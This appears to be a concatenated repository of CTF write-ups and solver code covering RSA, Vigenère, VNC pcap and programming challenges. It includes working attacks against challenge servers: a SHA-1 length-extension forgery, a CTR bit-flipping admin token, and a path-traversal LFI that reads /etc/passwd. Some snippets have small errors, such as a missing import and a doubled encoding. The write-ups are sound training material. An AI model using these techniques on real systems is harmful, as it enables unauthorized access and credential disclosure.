can start to retrieve the keys the user entered. 21 | 22 | First, I set the `vnc.key_down=="Yes"` wireshark filter as there will be two events (one key down, one key up) for each key presses, so only the VNC key event packets will be shown. 23 | 24 | And the input is: 25 | 26 | "notepad[Return]can you see me//[backspace*2][space][backspace][Return *n]" 27 | 28 | Then it started to read the flag here: 29 | 30 | ![flag](http://i.imgur.com/oBRTd22.png) 31 | 32 | 33 | Flag: EKO{NOT_anym0re_VNC_hax} 34 | -------------------------------------------------------------------------------- /2016-ais3-pre-exam/misc3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import tempfile 6 | import subprocess 7 | import resource 8 | 9 | resource.setrlimit(resource.RLIMIT_FSIZE, (65536, 65536)) 10 | os.chdir(os.environ['HOME']) 11 | 12 | size = int(sys.stdin.readline().rstrip('\r\n')) 13 | if size > 65536: 14 | print('File is too large.') 15 | quit() 16 | 17 | data = sys.stdin.read(size) 18 | with tempfile.NamedTemporaryFile(mode='w+', suffix='.tar', delete=True, dir='.') as tarf: 19 | with tempfile.TemporaryDirectory(dir='.') as outdir: 20 | tarf.write(data) 21 | tarf.flush() 22 | try: 23 | subprocess.check_output(['/bin/tar', '-xf', tarf.name, '-C', outdir]) 24 | except: 25 | print('Broken tar file.') 26 | raise 27 | 28 | try: 29 | a = subprocess.check_output(['/usr/bin/sha1sum', 'flag.txt']) 30 | b = subprocess.check_output(['/usr/bin/sha1sum', os.path.join(outdir, 'guess.txt')]) 31 | a = a.split(b' ')[0] 32 | b = b.split(b' ')[0] 33 | assert len(a) == 40 and len(b) == 40 34 | if a != b: 35 | raise Exception('sha1') 36 | except: 37 | print('Different.') 38 | raise 39 | 40 | print(open('flag.txt', 'r').readline()) 41 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/share/flag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env/python2 2 | # https://h34dump.com/2013/05/volgactf-quals-2013-crypto-200/ 3 | 4 | import json 5 | 6 | with open('share.json') as dfile: 7 | data = json.load(dfile) 8 | 9 | e1 = data['e1'] 10 | e2 = data['e2'] 11 | c1 = data['c1'] 12 | c2 = data['c2'] 13 | n = data['n'] 14 | 15 | def gcd(a, b): 16 | if a == 0: 17 | x, y = 0, 1; 18 | return (b, x, y); 19 | tup = gcd(b % a, a) 20 | d = tup[0] 21 | x1 = tup[1] 22 | y1 = tup[2] 23 | x = y1 - (b / a) * x1 24 | y = x1 25 | return (d, x, y) 26 | 27 | #solve the Diophantine equation a*x0 + b*y0 = c 28 | def find_any_solution(a, b, c): 29 | tup = gcd(abs(a), abs(b)) 30 | g = tup[0] 31 | x0 = tup[1] 32 | y0 = tup[2] 33 | if c % g != 0: 34 | return (False, x0, y0) 35 | x0 *= c / g 36 | y0 *= c / g 37 | if a < 0: 38 | x0 *= -1 39 | if b < 0: 40 | y0 *= -1 41 | return (True, x0, y0) 42 | 43 | import sys 44 | sys.setrecursionlimit(5000) 45 | 46 | (x, a1, a2) = find_any_solution(e1, e2, 1) 47 | if a1 < 0: 48 | (x, c1, y) = find_any_solution(c1, n, 1) #get inverse element 49 | a1 = -a1 50 | if a2 < 0: 51 | (x, c2, y) = find_any_solution(c2, n, 1) 52 | a2 = -a2 53 | 54 | m = (pow(c1, a1, n) * pow(c2, a2, n)) % n 55 | 56 | print hex(m)[2:-1].decode('hex') 57 | -------------------------------------------------------------------------------- /2015-easyctf/oink-oink/README.md: -------------------------------------------------------------------------------- 1 | # Oink Oink (programming 115) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to solve this problem. 6 | 7 | Now that we know how to convert from English to Pig Latin, can we reverse the translation? Given a sentence in Pig Latin, reverse it and try to find the original English text. 8 | 9 | Be careful to note that if a Pig Latin word is capitalized, like "Arispay", the original English word is "Paris" rather than "pAris". Case counts! 10 | 11 | ID: piglatin2 12 | Input: A sentence in Pig Latin. 13 | Output: The translation in English. 14 | 15 | Read the input from a file called piglatin2.in that's in the current working directory, and then write your output to a file called piglatin2.out 16 | ``` 17 | 18 | Another Pig Latin problem... 19 | 20 | ```python 21 | def toEnglish(s): 22 | sentence = s.split(" ") 23 | english = "" 24 | for word in sentence: 25 | if word[:len(word) - 4:-1] == 'yay': 26 | english += word[:len(word) - 3] + " " 27 | else: 28 | noay = word[:len(word) - 2] 29 | english += noay[-1] + noay[:-1] + " " 30 | return english[:-1] 31 | 32 | with open("piglatin2.in", "r") as f: 33 | sentence = f.read()[:-1] 34 | with open("piglatin2.out", "w") as f: 35 | eng = toEnglish(sentence) 36 | f.write(eng.upper()[0] + eng.lower()[1:] + "\n") 37 | ``` 38 | 39 | Flag: `easyctf{th0se_pesky_capit4ls_were_a_pa1n,_weren't_they?}` 40 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/share/share.json: -------------------------------------------------------------------------------- 1 | {"c2": 206637277523316507362139933927937155550022837331244504843965961476614019383602527135957853427917306492229654755594402899976160152565954096952013998754261364976683601827478960752661812105682644979115118449037217502679256098833185214123033778956176050884024055785470382538505502611153823671541088605506318657243, "c1": 339959282219630878273388034415899015715280698706451230817010044015469192892656193972643297879339983976482429859742722123922248960332900708343396147001513953051717287451489145910315870265557144166292539976534836410296038897655096434286755122269741042033918108687883258989922194108269475911699633595111809007293, "e2": 13521927979417175825463063347222803267672338126236919097685639546419640649137631879086526055040440600762677713171345276116684002435281179604562770545346538476338105973545203128426046290278877261803791446624619505571960450739503996077069249754644676412779930081062763034873018062088748804140695301545479, "e1": 13720370251305502198453722303188629715020031854527043028194234587721186750392338568840741980913602828872478379633547127489067215473859867030790069290379619590347878081800599482228153098812888823547824784484067322280093055550108000430624575508213640786019798979841125209412964502922275741976071872949241, "n": 497173522389038132581679656348726441223635460077646001242117112508529043004662639934569016294650189660831221622187412764733543952232789394101543715734107673614961378260798863533871182763922914061270612268219742193327876392527222918923185069291141197452073838031685654611566686242080080446337367447541588723277} 2 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/LEA/README.md: -------------------------------------------------------------------------------- 1 | # LEA (crypto 200) 2 | 3 | Description: 4 | ``` 5 | Yes, "leave as final exam". 6 | http://52.68.224.122:9000/ 7 | ``` 8 | 9 | 連結裡面是一個有點類似 CTR 那題的驗證服務,一樣是提供兩種功能,一種是 `sign`,丟訊息他就會生出對應的 [HMAC](https://en.wikipedia.org/wiki/Hash-based_message_authentication_code) 驗證碼,不過有趣的是在 44 行,當有一個 `deprecated` 參數的時候,會直接吃進 `data`,**不靠任何 padding**就直接加上 KEY 產生 SHA-1。
10 | 這麼做,就製造了一些可以攻擊的空間。 11 | 12 | 這題裡面有不自動 padding 產生的 HMAC,題目名稱又叫 LEA,開宗明義就是 Length Extension Attack 嘛! 13 | 14 | [Length Extension Attack](https://en.wikipedia.org/wiki/Length_extension_attack) 是一種針對這種情況的攻擊型態:
15 | 直接拿把 key + data 接在一起,沒有任何 padding 的 hash,當作脆弱的 HMAC 使用,這樣會因為 SHA-1 演算法的背後,有資料結構產生的問題,而讓這個攻擊型態有機可圖。 16 | 當你知道 任一一個message 和算出來的 MAC,只需再知道 key 的長度,儘管不知道 key 的值,也能透過在後面加一些字串的方式,算出符合的 HMAC。 17 | 18 | 有一個工具叫做 [HashPump](https://github.com/bwall/HashPump),可以幫我們推出 Length Extension Attack 這個手法需要的 payload。 19 | 20 | 我們打開 python intrepreter,開始吧: 21 | 22 | 首先先 import 需要的函式庫(`hashpump`、用來發 HTTP 的 `requests`、解析 base64 編碼的 `base64`): 23 | 24 | ``` 25 | >>> from requests import get 26 | >>> from hashpumpy import hashpump 27 | >>> import base64 28 | >>> token = get("http://52.68.224.122:9000/sign", {"deprecated":True, "data":'\x36'*64+'a'}).text # 我們先從主機取得它產生出來的 token,再來玩玩 hashpump 29 | >>> result = hashpump(token, 'a', 'flag', 64) 30 | >>> sign = get("http://52.68.224.122:9000/sign", {"deprecated":True, "data": b'\x5c'*64+binascii.unhexlify(token[0])}).text 31 | >>> sign 32 | 'a7ee3fb6b18e7fdd51cadfeb63e2c7d0d0c6a3c5' 33 | >>> get("http://52.68.224.122:9000/verify", {"data": result[1], "sig": sign}).text 34 | 'CTF{did you use hashpump~?}' 35 | ``` 36 | 37 | Flag `CTF{did you use hashpump~?}` 38 | 39 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/CTR/CTR.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'base64' 4 | require 'json' 5 | require 'openssl' 6 | require 'webrick' 7 | load './secret.rb' # KEY, FLAG 8 | 9 | fail if KEY.size != 16 10 | 11 | def encode(user) 12 | c = OpenSSL::Cipher.new('AES-128-CTR') 13 | c.encrypt 14 | c.key = KEY 15 | iv = c.random_iv 16 | Base64.encode64(iv + c.update({user: user}.to_json) + c.final).delete("\n") 17 | end 18 | 19 | def decode(data) 20 | data = Base64.decode64(data) 21 | c = OpenSSL::Cipher.new('AES-128-CTR') 22 | c.decrypt 23 | c.key = KEY 24 | c.iv = data[0...16] 25 | s = c.update(data[16..-1]) + c.final 26 | JSON.parse(s) 27 | rescue Exception => e 28 | {error: e.class.to_s} 29 | end 30 | 31 | log_file = open('access.log', 'a+') 32 | log_file.sync = true 33 | 34 | server = WEBrick::HTTPServer.new( 35 | Port: ARGV[0].to_i, 36 | AccessLog: [ 37 | [$stderr, "\e[33;1m%t %a\e[0m \"%r\" %s %b %T"], 38 | [log_file, "%t %a \"%r\" %s %b %T"] 39 | ] 40 | ) 41 | 42 | trap('INT') { server.shutdown } 43 | 44 | server.mount_proc('/') do |req, res| 45 | res.body = IO.read(__FILE__) 46 | end 47 | 48 | server.mount_proc('/debug') do |req, res| 49 | res.body = req.query.inspect 50 | end 51 | 52 | server.mount_proc('/login') do |req, res| 53 | user = req.query['user'] 54 | res.body = user ? encode(user) : 'huh...?' 55 | end 56 | 57 | server.mount_proc('/admin') do |req, res| 58 | token = req.query['token'] 59 | data = decode(token) 60 | 61 | if data['admin'] == true 62 | server.logger << "\e[32;1m#{req.remote_ip} get flag!\e[0m" 63 | data['flag'] = FLAG 64 | end 65 | 66 | res.content_type = "application/json; charset=UTF-8" 67 | res.body = data.to_json 68 | end 69 | 70 | server.start 71 | -------------------------------------------------------------------------------- /2015-easyctf/cave-johnson/README.md: -------------------------------------------------------------------------------- 1 | # Cave Johnson (Crypto 450) 2 | 3 | Description: 4 | ``` 5 | Welcome to Small Hole Sciences. 6 | 7 | (Since all of their budget was spent on moon rocks, they were only able to afford an old-fashioned Vigenere Cipher.) 8 | ``` 9 | 10 | It's a vigenere cipher, so let's crack it using cryptanalysis. 11 | 12 | [Here](http://rosettacode.org/wiki/Vigen%C3%A8re_cipher/Cryptanalysis#Python)'s one sample code from Rosetta Code. 13 | 14 | ```shell 15 | $ python2 crack_vigenere.py 16 | Key: IAMMORONCORE 17 | 18 | Text: HELLOANDAGAINWELCOMETOTHEAPERTURESCIENCECOMPUTERAIDEDENRICHMENTCENTEREHOPEYOURBRIEFDETENTIONINTHERELAXATIONVAULTHASBEENAPLEASANTONEYOURSPECIMENHASBEENPROCESSEDANDWEARENOWREADYTOBEGINTHETESTPROPERBEFOREWESTARTHOWEVERKEEPINMINDTHATALTHOUGHFUNANDLEARNINGARETHEPRIMARYGOALSOFALLENRICHMENTCENTERACTIVITIESSERIOUSINJURIESMAYOCCURFORYOUROWNSAFETYANDTHESAFETYOFOTHERSPLEASEREFRAINFROMTURNINGINTHEFLAGWRAPPEDINTHESTANDARDFORMATTHISISAPERTUREANDWETALKTOOMUCH 19 | ``` 20 | 21 | Look's like that we're on the right track. 22 | 23 | Using some help with [quicquic.net](http://quipqiup.com/index.php), we can unscramble the cryptogram. 24 | 25 | ``` 26 | HELLO AND AGAIN WELCOME TO THE A PERTURE SCIENCE COMPUTE RAIDED ENRICH MENT CENTERE HOPE YOUR BRIEF DETENTION IN THE RELAXATION VAULT HAS BEEN A PLEASANT ONE YOUR SPECIMEN HAS BEEN PROCESSED AND WEARE NOW READY TO BEGIN THE TEST PROPER BEFORE WE START HOWEVER KEEP IN MIND THAT ALTHOUGH FUN AND LEARNING ARE THE PRIMARY GOALSO FALL ENRICH MENT CENTER ACTIVITIES SERIOUS INJURIES MAY OCCUR FOR YOUR OWN SAFETY AND THE SAFETY OF OTHER SPLEASE REFRAIN FROM TURNING IN THE FLAG WRAPPED IN THE STANDARD FORMAT THIS_IS_APERTURE_AND_WE_TALK_TOO_MUCH 27 | ``` 28 | 29 | Flag: `easyctf{this_is_aperture_and_we_talk_too_much}` 30 | -------------------------------------------------------------------------------- /2015-easyctf/string-change/README.md: -------------------------------------------------------------------------------- 1 | # String Change (Programming 70) 2 | 3 | Description: 4 | ``` 5 | Use the programming interface to complete this task. Given an array of 5 numbers, change every nth character, with n being the value of the first number of the array and the first letter of the string as the 1st character, of a string and move its value up by one (a turns into b, z turns into a). Repeat this for the rest of the numbers of the array and return the changed string. Do this for all the strings. Be careful to keep the original capitalization! 6 | 7 | For example: [2,3,7,5,4] and oTerNmIWxGqaaV would become oUftOoJYyIqdaX 8 | 9 | ID: string-change 10 | Input: Read the input from a file called string-change.in that contains a string of: a list of 5 numbers separated by commas followed by a linebreak, and then a string of random characters. 11 | Output: The string changed according to the values in the list, written to a file called string-change.out. 12 | 13 | You already know this, but don't forget to end your output with a newline. 14 | ``` 15 | 16 | 17 | ```python 18 | def shift(ch): 19 | num = ord(ch) + 1 20 | if (num > ord('z') and ch in "abcdefghijklmnopqrstuvwxyz") or (ch in "ABCDEFGHIJKLMNOPQRSTUVWXYZ" and num > ord('Z')): 21 | num -= 26 22 | return chr(num) 23 | 24 | with open("string-change.in", "r") as f: 25 | inp = f.readlines() 26 | string = inp[1] 27 | ls = [int(x) for x in inp[0].split(",")] 28 | 29 | string = list(string) 30 | for i in ls: 31 | for x in range(1,len(string)//i if len(string) % i == 0 else len(string)//i + 1): 32 | if string[x*i].isalpha(): 33 | string[x*i] = shift(string[x*i]) 34 | 35 | with open("string-change.out", "w") as f: 36 | f.write(''.join(string)) 37 | ``` 38 | 39 | Flag: `easyctf{changing_things_up_once_in_a_while_is_gooood_for_you}` 40 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/LEA/lea.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'openssl' 4 | require 'webrick' 5 | load './secret.rb' # KEY, FLAG 6 | 7 | fail if KEY.size < 30 || KEY.size > 50 8 | 9 | def strxor(a, b) 10 | a = a.bytes 11 | b = b.bytes 12 | [a.size, b.size].max.times.map{|i| (a[i] || 0) ^ (b[i] || 0)}.pack('C*') 13 | end 14 | 15 | log_file = open('access.log', 'a+') 16 | log_file.sync = true 17 | 18 | server = WEBrick::HTTPServer.new( 19 | Port: ARGV[0].to_i, 20 | AccessLog: [ 21 | [$stderr, "\e[33;1m%t %a\e[0m \"%r\" %s %b %T"], 22 | [log_file, "%t %a \"%r\" %s %b %T"] 23 | ] 24 | ) 25 | 26 | trap('INT') { server.shutdown } 27 | 28 | server.mount_proc('/') do |req, res| 29 | res.body = IO.read(__FILE__) 30 | end 31 | 32 | server.mount_proc('/debug') do |req, res| 33 | res.body = req.query.inspect 34 | end 35 | 36 | server.mount_proc('/sign') do |req, res| 37 | data = req.query['data'] 38 | 39 | res.body = if data.nil? || data.include?('flag') 40 | 'huh...?' 41 | elsif req.query['deprecated'] 42 | OpenSSL::Digest::SHA1.hexdigest(strxor(KEY, data)) 43 | else 44 | OpenSSL::HMAC.hexdigest('SHA1', KEY, data) 45 | end 46 | end 47 | 48 | server.mount_proc('/verify') do |req, res| 49 | sig = req.query['sig'] 50 | data = req.query['data'] 51 | 52 | res.body = if sig.nil? || data.nil? 53 | 'huh...?' 54 | elsif sig == OpenSSL::HMAC.hexdigest('SHA1', KEY, data) 55 | if data.include?('flag') 56 | $stderr.puts "\e[32;1m#{req.remote_ip} get flag!\e[0m" 57 | FLAG 58 | else 59 | 'verified, but no flag :(' 60 | end 61 | else 62 | 'OAQ...?' 63 | end 64 | end 65 | 66 | server.start 67 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/RSA/README.md: -------------------------------------------------------------------------------- 1 | # RSA (crypto 50) 2 | 3 | Description: 4 | ``` 5 | Just RSA. 6 | https://www.dropbox.com/s/isnfvts5an2jwpu/rsa.zip?dl=0 7 | ``` 8 | 9 | A zip file `rsa.zip` was given, and extracts to two files, `rsa.py` and `rsa.json`. 10 | 11 | ```python 12 | import json 13 | from sympy import randprime 14 | p = randprime(2 ** 157, 2 ** 158) 15 | q = randprime(2 ** 157, 2 ** 158) 16 | n = p * q 17 | e = 65537 18 | m = int(open('flag').read().strip().encode('hex'), 16) 19 | assert m < n 20 | c = pow(m, e, n) 21 | print json.dumps({'n': n, 'e': e, 'c': c}) 22 | ``` 23 | 24 | ```javascript 25 | {"c": 56267348817991667025293700596381772772705100752049364933949564121901533557055297556368355657861, "e": 65537, "n": 69037356967092428811573699689752455282165460568629454083502861819413893435697699053715051257547} 26 | ``` 27 | 28 | We know that it's a RSA challenge right away, so let's try to factor the modulus. 29 | 30 | The number n is too large to be factored in `msieve`, it may take multiple hours... 31 | 32 | Later, we found out that the number is already factored on [factordb.com](http://factordb.com/index.php?query=69037356967092428811573699689752455282165460568629454083502861819413893435697699053715051257547),
33 | so let's start to break the code! 34 | 35 | ```python 36 | >>> import gmpy, binascii 37 | >>> c = 56267348817991667025293700596381772772705100752049364933949564121901533557055297556368355657861 38 | >>> e = 65537 39 | >>> n = 69037356967092428811573699689752455282165460568629454083502861819413893435697699053715051257547 40 | >>> p = 244568058927274035851630625490731151685151358429 41 | >>> q = 282282802054792109028071238910250727429434271943 42 | >>> p*q == n # Test if the factors are correct 43 | True 44 | >>> phin = (p-1)*(q-1) 45 | >>> d = int(gmpy.invert(e, phin)) 46 | >>> t = pow(c, d, n) 47 | >>> binascii.unhexlify(hex(t)[2:]) 48 | b'CTF{factor is e4sy, plz wait a m1nute!}' 49 | ``` 50 | 51 | Flag: `CTF{factor is e4sy, plz wait a m1nute!}` 52 | -------------------------------------------------------------------------------- /2015-tum-ctf-teaser/neocities/README.md: -------------------------------------------------------------------------------- 1 | # neocities (web 50) 2 | 3 | ``` 4 | Description: So I hope you're well insured, because the nineties have sent us their 5 | best thing ever: bright colors and Comic Sans MS. Please end it before 6 | everyone dies due to internal bleedings. 7 | 8 | 1.ctf.link:1123 9 | ``` 10 | 11 | Browsing the URL provided, there's a ugly web site with a terrible colorscheme and Comic Sans MS. 12 | 13 | ![ugly site](http://i.imgur.com/8T8N8Vv.png) 14 | 15 | We know that it's a apache2 on debian setup by the 404 page. 16 | 17 | ![404](http://i.imgur.com/GZeAGsz.png) 18 | 19 | The `index.php` display a page according to the get parameter `page`, and it's not filtered in any way, so it's a LFI vuln. 20 | 21 | ![LFI](http://i.imgur.com/v9G3N7G.png) 22 | 23 | After a few tries, we can find the path to `/`. 24 | 25 | ![/etc/passwd](http://i.imgur.com/EpAjpUs.png) 26 | 27 | Then I noticed a strange thing at the end of `../../../../etc/apache2/sites-enabled/000-default.conf`.
28 | (The location of debian\'s default apache2 virtual host configuration) 29 | 30 | ``` 31 | CustomLog ${APACHE_LOG_DIR}/access.log combined 32 | 33 | # For most configuration files from conf-available/, which are 34 | # enabled or disabled at a global level, it is possible to 35 | # include a line for only one particular virtual host. For example the 36 | # following line enables the CGI configuration for this host only 37 | # after it has been globally disabled with "a2disconf". 38 | #Include conf-available/serve-cgi-bin.conf 39 | 40 | RedirectMatch 403 flag.txt 41 | 42 | ``` 43 | 44 | The flag is at `http://1.ctf.link:1123/index.php\?page\=flag.txt`. 45 | 46 | ![flag](http://i.imgur.com/A9k7qvT.png) 47 | 48 | Flag: hxp{the_nineties_called_they_want_their_design_back} 49 | 50 | P.S. Thanks my teammate at Come to Try Fortune [@seadog007](http://seadog007.me/) for this! Most of it is solved by him :stuck_out_tongue: 51 | -------------------------------------------------------------------------------- /2016-ais3-pre-exam/web2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Nothing here but the source code of the admin panel.
4 | Can you get the flag?
5 |
6 | Here's the source of "panel.php":
7 | 8 | <?php
error_reporting
(0);
include 
"flag.php";

// Strong IP firewall, no-one can pass this except the admin in localhost
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
    
header("Location: you_should_not_pass");
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Admin Panel</title>
</head>
<body>
Admin's secret is: <?php echo $flag?>
</body>
</html>
9 |
-------------------------------------------------------------------------------- /2016-tw-edu-ctf/LLARGE/README.md: -------------------------------------------------------------------------------- 1 | # LLARGE (misc 50) 2 | 3 | Description: 4 | ```Snoopy got the other LARGE [thing](https://www.dropbox.com/s/0xzmgl8rhpv9g1d/flag.png). 5 | It is more difficult for you to decode it. 6 | ``` 7 | 8 | 給的檔案 (`flag.png`) 是一個裡面是 QR Code 的 PNG 圖片。直接使用一般的 QR Code Reader 解出來則是 `PK`。 9 | 10 | 看到這裡,李組長眉頭一皺,發現事情並不單純,怎麼可能這樣解出來只有兩個 byte 呢XD 11 | 12 | 我們就丟給 [ZXing](https://zxing.org/w/decode) 解解看吧~ 13 | 14 | 解出來的 Raw bytes: 15 | ``` 16 | 40 0e d5 04 b0 30 41 40 00 20 00 80 01 d3 49 c4 17 | 79 b2 b5 7d f4 70 00 00 04 80 00 00 00 80 01 c0 18 | 06 66 c6 16 72 e7 47 87 45 55 40 90 00 31 96 78 19 | 05 61 96 78 05 67 57 80 b0 00 10 4f 50 10 00 00 20 | 41 40 00 00 0f 34 82 d4 a5 52 f5 64 8c b4 94 cb 21 | 75 27 00 e7 1a b0 ec 94 88 d4 fc ac c4 b2 ca a8 22 | cc fc 84 c4 98 dc fc c8 b0 f0 c8 a4 fc e4 f4 95 23 | 58 cf 20 c8 8f 7f 40 37 21 53 d4 bd 48 be 31 37 24 | 31 3a b3 2f 3d 21 56 bb 98 00 00 05 04 b0 10 21 25 | e0 31 40 00 20 00 80 01 d3 49 c4 79 b2 b5 7d f4 26 | 70 00 00 04 80 00 00 00 80 01 80 00 00 00 00 00 27 | 10 00 00 0a 48 10 00 00 00 06 66 c6 16 72 e7 47 28 | 87 45 55 40 50 00 31 96 78 05 67 57 80 b0 00 10 29 | 4f 50 10 00 00 41 40 00 00 05 04 b0 50 60 00 00 30 | 00 00 10 00 10 04 e0 00 00 08 90 00 00 00 00 00 31 | ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 32 | ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 ec 11 33 | ec 11 34 | ``` 35 | 36 | 雖然 byte 組被拆開了,不過眼尖的大家可以看到 `5 0|4 b|0 3|0 4` 這些敏感文字,這就是 PkZip (也就是 `.zip` 壓縮檔)格式的表頭啊! 37 | 38 | 讓我們把它解開吧! 39 | 40 | 因為兩組 byte 讓 `50|4b` 被拆開了的關係,所以我們再前面補一個 byte 讓它在正確的位置。
41 | (我在前面加了一個 "a") 42 | 43 | ``` 44 | $ echo $(echo "a" && cat decode) | tr -d " " | xxd -r -p > flag.zip # 讀取 decode 檔案,前面加上 "a" | 去掉空白 | 把 plain hexdump 轉換成 binary > 存到 flag.zip 45 | $ unzip flag.zip # 解壓縮 46 | Archive: flag.zip 47 | warning [flag.zip]: 3 extra bytes at beginning or within zipfile 48 | (attempting to process anyway) 49 | inflating: flag.txt 50 | $ cat flag.txt # 讀出 flag.txt 51 | Here's flag: CTF{The_binary_hide_in_QR_code!ZIP_IN_QR!It's_amazing!} 52 | 53 | 54 | 55 | ``` 56 | 57 | Flag: `CTF{The_binary_hide_in_QR_code!ZIP_IN_QR!It's_amazing!}` 58 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/CTR/README.md: -------------------------------------------------------------------------------- 1 | # CTR (crypto 100) 2 | 3 | Description: 4 | ``` 5 | CTR mode has significant efficiency advantages over the standard encryption, but... 6 | http://52.68.224.122:9010/ 7 | ``` 8 | 9 | 裡面的連結是一個有一堆 ruby code 的網站 10 | 11 | code 是一個 `webrick` 的網頁伺服器(大概就是顯示這個頁面的),
12 | 然後它有一個神秘的驗證系統,
13 | 整個就很像 [HITCON CTF Quals 2015 的 simple](https://github.com/ctfs/write-ups-2015/tree/master/hitcon-ctf-quals-2015/crypto/simple). (除了這個是用 CTR 而不是 CBC,簡單了許多呢XD) 14 | 15 | 根據 source code,網站有兩個功能,第一個是 `login`,接一個參數 `user`,然後吐一串 base64-encoded 的東西,是 block cipher 的 IV (initialization vector)加上用 CTR 加密過後的 json dict `{"user": [username]}` 16 | 17 | ```python 18 | >>> import requests 19 | >>> requests.get("http://52.68.224.122:9010/login", {"user": "foobar"}).text 20 | 'ookgVTsyAYr1EMpXKytRdbEW763Kp6L15ZuBtD0GaJAi' 21 | ``` 22 | 23 | 另外一個則是 `admin`,反正就是用同樣的方式解密來驗證上面拿到的 `token` 是否正確,然後如果解出來的 json 含有 `admin` 而且值是 `true` 的話,就會在回傳的東西裡面加上 flag! 24 | 25 | 因為使用了 [CTR](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29) 這個 [cipher operation mode](https://zh.wikipedia.org/wiki/%E5%9D%97%E5%AF%86%E7%A0%81%E7%9A%84%E5%B7%A5%E4%BD%9C%E6%A8%A1%E5%BC%8F),我們可以知道這樣可以對他做 [Bit-flipping attack](https://en.wikipedia.org/wiki/Bit-flipping_attack)。 26 | 27 | (由於是 CTR,`密文 = AES(IV+counter) ⊕ 明文`,可是我們可以根據輸入的 `username` 得知明文是什麼,因此可以透過這樣來竄改密文:`舊明文 ⊕ 舊密文 = AES(IV+counter)`,∴`舊密文 ⊕ 舊明文 ⊕ 新明文 = 新密文` ) 28 | 29 | 所以來開始算吧: 30 | 31 | ```python 32 | >>> import base64, binascii, requests 33 | >>> def xor(x, y): 34 | ... return binascii.unhexlify(hex(int(binascii.hexlify(x), 16) ^ int(binascii.hexlify(y), 16))[2:].zfill(len(y)*2)) 35 | ... 36 | >>> orig_token = base64.b64decode("0btB4oUvFdiao2QSPOjx5k7XtEuNr4UqlRtH7Si6/zg=") 37 | >>> iv = orig_token[0:16] 38 | >>> first_block = orig_token[16:32] 39 | 40 | >>> orig_plaintext = b'{"user":"fooba"}' 41 | >>> new_plaintext = b'{"admin": true }' 42 | >>> encrypted = xor(orig_plaintext, first_block) 43 | >>> new_block = xor(encrypted, new_plaintext) 44 | >>> payload = iv + new_block 45 | >>> payload = base64.b64encode(payload) 46 | >>> print(payload) 47 | >>> requests.get("http://52.68.224.122:9010/admin", {"token": base64.b64encode(payload)}).text 48 | '{"admin":true,"flag":"CTF{Flip Flop F1ip Fl0p}"}' 49 | ``` 50 | 51 | Flag: `CTF{Flip Flop F1ip Fl0p}` 52 | -------------------------------------------------------------------------------- /2016-tw-edu-ctf/mayday/mayday.json: -------------------------------------------------------------------------------- 1 | [{"c": 6867940996691870031530411714485906844552818193325528906319305401428815108346680759433216763381096732182463314446219239703961679396462026276373332783945618, "e": 7, "n": 24810910852704603048663349011054669655631146433543459534796438815331335687309113943583212235150241971378068933151593149818684880078674098193758773603399061}, 2 | {"c": 1117905220184329685115491669660129193823567641747584717324745389247133369892051586020708442213591696394252275224109800066498394464330197218398972106358012, "e": 7, "n": 47127839105299361033791208737798899776781255381503030381686909082155757361019104103280620540716894699133142173100175132195577832323495741588275138089635573}, 3 | {"c": 40118076943735337559537379692982070943921515348000211097599356263330760075906748374129727526740438883695094503103029124366037118931371140019302082751801200, "e": 7, "n": 43134291711046821358455351358884087777021003839470296505990450581706219379356272391794220129036895199873385802547302584174011929423801149992868607229780347}, 4 | {"c": 12649076592222649371192164869044025408231371717627780046219346377852024544337050152652676577122342534868958091714335614555475487488062150879916823763757293, "e": 7, "n": 19300838921149221007298944887478599082800229045219271606272038103970656559943914197281654158587468730541828306489197866130025079021184391333521894567512679}, 5 | {"c": 28899089935435267588235897519846120393433214114341521238696384122507316899457327055029546972333281452563984838498862225380416594907544057513529315866966881, "e": 7, "n": 30754121488827635692971849599267749375077949182550303145729325375314926401905783830931628738658879320179944880074582359287457299694791345311565979620527051}, 6 | {"c": 14086629413855672403639830676118042465846020320143823318815048070368505684208141652603596234960968703217788472960409410744177258293358579948872603962777501, "e": 7, "n": 30430477983470426195631142659668071772256641205525929891985872996115858010744648779370983539942187689192406517498678966428105726004485493523914299389645977}, 7 | {"c": 20049299207588955907155276095787913402589652379134151403340360498371893119855957833576443856534037886298731701974026748277461327934437483689818240109850533, "e": 7, "n": 35489275126536805974281635942907480463916089663069129771420548612817920902692423639961709000309976531819984030335085090156962285880892504720123765878938153}] 8 | -------------------------------------------------------------------------------- /2015-easyctf/all-zobs-fault/README.md: -------------------------------------------------------------------------------- 1 | # All Zob's Fault (crypto 350) 2 | 3 | Description: 4 | ``` 5 | Apparently our crypto program didn't store the correct phi-value or something for this message; it spits out gibberish when we try to decrypt it. Either the memory had a rare fault or Zob's being an idiot again. Please help. 6 | 7 | Hint: Zob works at the Russian Space Agency 8 | ``` 9 | 10 | The description gave us a url([message](https://www.easyctf.com/static/problems/allzob/all_zobs_fault.txt)), leads to a base64 encoded file. 11 | 12 | ```shell 13 | $ cat all_zobs_fault.txt | base64 -d | tr ";" "\n" 14 | e = 340035333160956238336074318075946961695270890880263371398510321485728225 15 | m = 614010459838253953596498114943057697842675637887066261109163514805589167 16 | c = 416808431213057812839807235099929401146034654633863359116938353620975451 17 | ``` 18 | 19 | I immediately know that it is a RSA challenge. (And the hint said so, too) 20 | 21 | First, I guess that `m` is for `message`, but after a few tries, we know that it's probably not the message (and we don't know `n` either). 22 | 23 | Then I noticed that in some documents they references `n` (p*q) as `m` (modulus), and it worked.
